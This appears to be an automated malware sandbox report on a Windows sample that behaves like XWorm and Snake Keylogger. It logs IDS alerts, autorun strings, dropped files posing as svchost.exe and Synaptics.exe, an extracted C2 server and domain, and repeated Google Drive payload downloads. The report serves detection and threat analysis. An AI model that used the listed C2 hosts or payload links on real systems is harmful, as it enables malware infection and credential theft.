Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:55996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:55997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56198 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56299 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56336 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56370 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56371 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56389 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56392 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56391 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56403 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56405 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56413 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56431 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56474 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56476 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56486 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56498 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56516 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56520 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56517 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56519 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56528 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56530 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56560 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56558 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56569 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56570 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56579 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56578 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56592 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56602 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56603 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56604 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56613 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56612 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56620 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56621 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56640 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56639 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56656 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56658 version: TLS 1.2

Source:

Binary string: Bet\SBAGGY2\SBAGGY\examples\example_win32_directx11\Build\example_win32_directx11.pdb source: Fulloptionnew_by elegance.exe, 00000004.00000002.3993778104.00007FF771F0C000.00000002.00000001.01000000.00000008.sdmp, Fulloptionnew_by elegance.exe, 00000004.00000000.1557656564.00007FF771F0B000.00000002.00000001.01000000.00000008.sdmp, Fulloptionnew_by elegance.exe.2.dr

Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: file.exe	Binary or memory string: [autorun]
Source: file.exe	Binary or memory string: [autorun]
Source: file.exe	Binary or memory string: autorun.inf
Source: RCXB47F.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXB47F.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXB47F.tmp.0.dr	Binary or memory string: autorun.inf
Source: svchost.exe.2.dr	Binary or memory string: [autorun]
Source: svchost.exe.2.dr	Binary or memory string: [autorun]
Source: svchost.exe.2.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 2MB later: 75MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.7:49720 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 45.141.26.134:7000 -> 192.168.2.7:49740
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.7:49740 -> 45.141.26.134:7000
Source: Network traffic	Suricata IDS: 2852874 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2 : 45.141.26.134:7000 -> 192.168.2.7:49740
Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.7:49740 -> 45.141.26.134:7000
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49723 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49729 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49716 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49719 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49717 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49736 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49727 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49734 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49754 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:55996 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:55997 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49756 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56010 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56011 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49747 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56008 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56001 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56023 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49748 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56018 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56017 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49752 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56000 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:56006 -> 142.250.74.206:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.7:49757 -> 142.250.74.206:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 45.141.26.134
Source: Malware configuration extractor	URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Yara detected Generic Downloader

Source: Yara match	File source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\svchost.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.7:49740 -> 45.141.26.134:7000

Source: global traffic

TCP traffic: 192.168.2.7:55994 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252
Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View

ASN Name: SPECTRAIPSpectraIPBVNL SPECTRAIPSpectraIPBVNL

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: ip-api.com

Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.26.134

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
